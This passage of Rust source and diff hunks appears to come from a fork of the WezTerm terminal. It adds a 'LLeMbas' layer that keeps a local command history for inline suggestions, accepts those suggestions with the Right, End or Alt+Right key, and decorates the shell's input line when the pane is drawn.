if !there {
hints.remove(&pane_id);
return None;
}
}
Some(hint)
}
/// The file of the terminal's own command history: in its own data
/// directory, the person's alone.
pub fn history_path() -> PathBuf {
config::DATA_DIR.join("command-history")
}
/// Run `f` on the history, reading the file the first time and whenever the
/// size it is kept at changed.
fn with_commands<R>(f: impl FnOnce(&mut History) -> R) -> R {
let max = OPTIONS.lock().history_max;
let mut commands = COMMANDS.lock();
let stale = match commands.as_ref() {
Some(c) => c.max != max,
None => true,
};
if stale {
let history = match history::load(&history_path(), max) {
Ok(history) => history,
Err(err) => {
log::warn!("LLeMbas: the command history could not be read: {:#}", err);
History::new(max)
}
};
*commands = Some(Commands { history, max });
}
match commands.as_mut() {
Some(c) => f(&mut c.history),
None => f(&mut History::new(0)),
}
}
/// The rest of the newest command that starts with what is typed.
pub fn history_suggest(typed: &str) -> Option<String> {
with_commands(|history| history.suggest(typed).map(|rest| rest.to_string()))
}
/// Remember a command that ran, in memory and in the file.
pub fn history_add(entry: Entry) {
let kept = with_commands(|history| {
if history.add(entry.clone()) {
history.entries().last().cloned()
} else {
None
}
});
if let Some(kept) = kept {
if let Err(err) = history::append(&history_path(), &kept) {
log::warn!(
"LLeMbas: the command history could not be written: {:#}",
err
);
}
changed();
}
}
/// Forget every command: in memory, and the file.
pub fn history_clear() {
with_commands(|history| history.clear());
if let Err(err) = history::remove(&history_path()) {
log::warn!(
"LLeMbas: the command history could not be removed: {:#}",
err
);
}
changed();
}
/// Is this the first time the command at this place of the pane's screen is
/// remembered? (The shell says once that a command ended; this guards against
/// taking the command before it a second time.)
pub fn first_time(pane_id: PaneId, row: StableRowIndex, col: usize) -> bool {
let mut remembered = REMEMBERED.lock();
if remembered.get(&pane_id) == Some(&(row, col)) {
return false;
}
if remembered.len() > 512 {
remembered.clear();
}
remembered.insert(pane_id, (row, col));
true
}
+4
View File
@@ -41,6 +41,8 @@ mod download;
mod frontend;
mod glyphcache;
mod inputmap;
// LLeMbas TTY: what the terminal itself draws for the LLeMbas layer
mod llembas;
mod overlay;
mod quad;
mod renderstate;
@@ -1209,6 +1211,8 @@ fn run() -> anyhow::Result<()> {
// headless mux server.
config::lua::add_context_setup_func(window_funcs::register);
config::lua::add_context_setup_func(crate::scripting::register);
// LLeMbas TTY: `wezterm.llembas`, for the LLeMbas layer
config::lua::add_context_setup_func(crate::llembas::lua::register);
config::lua::add_context_setup_func(crate::stats::register);
stats::Stats::init()?;
+11
View File
@@ -333,6 +333,17 @@ impl super::TermWindow {
_ => OnlyKeyBindings::No,
};
// LLeMbas TTY: a key that no binding took may take the suggestion
// shown after the cursor (Right, End, Alt+Right); otherwise it goes on
// to the pane as always
if is_down
&& only_key_bindings == OnlyKeyBindings::No
&& crate::llembas::decorate::take_suggestion(pane, keycode, raw_modifiers)
{
context.invalidate();
return true;
}
if only_key_bindings == OnlyKeyBindings::No {
let config = &self.config;
+9 -1
View File
@@ -565,7 +565,15 @@ impl crate::TermWindow {
}
}
pos.pane.with_lines_mut(stable_range.clone(), &mut render);
// LLeMbas TTY: the pane's lines go to the painter through what the
// terminal draws on the shell's input line (a suggestion, colours);
// with none of that on, this is the pane's own with_lines_mut
crate::llembas::decorate::with_lines_mut(
&pos.pane,
pos.is_active,
stable_range.clone(),
&mut render,
);
if let Some(error) = render.error.take() {
return Err(error).context("error while calling with_lines_mut");
}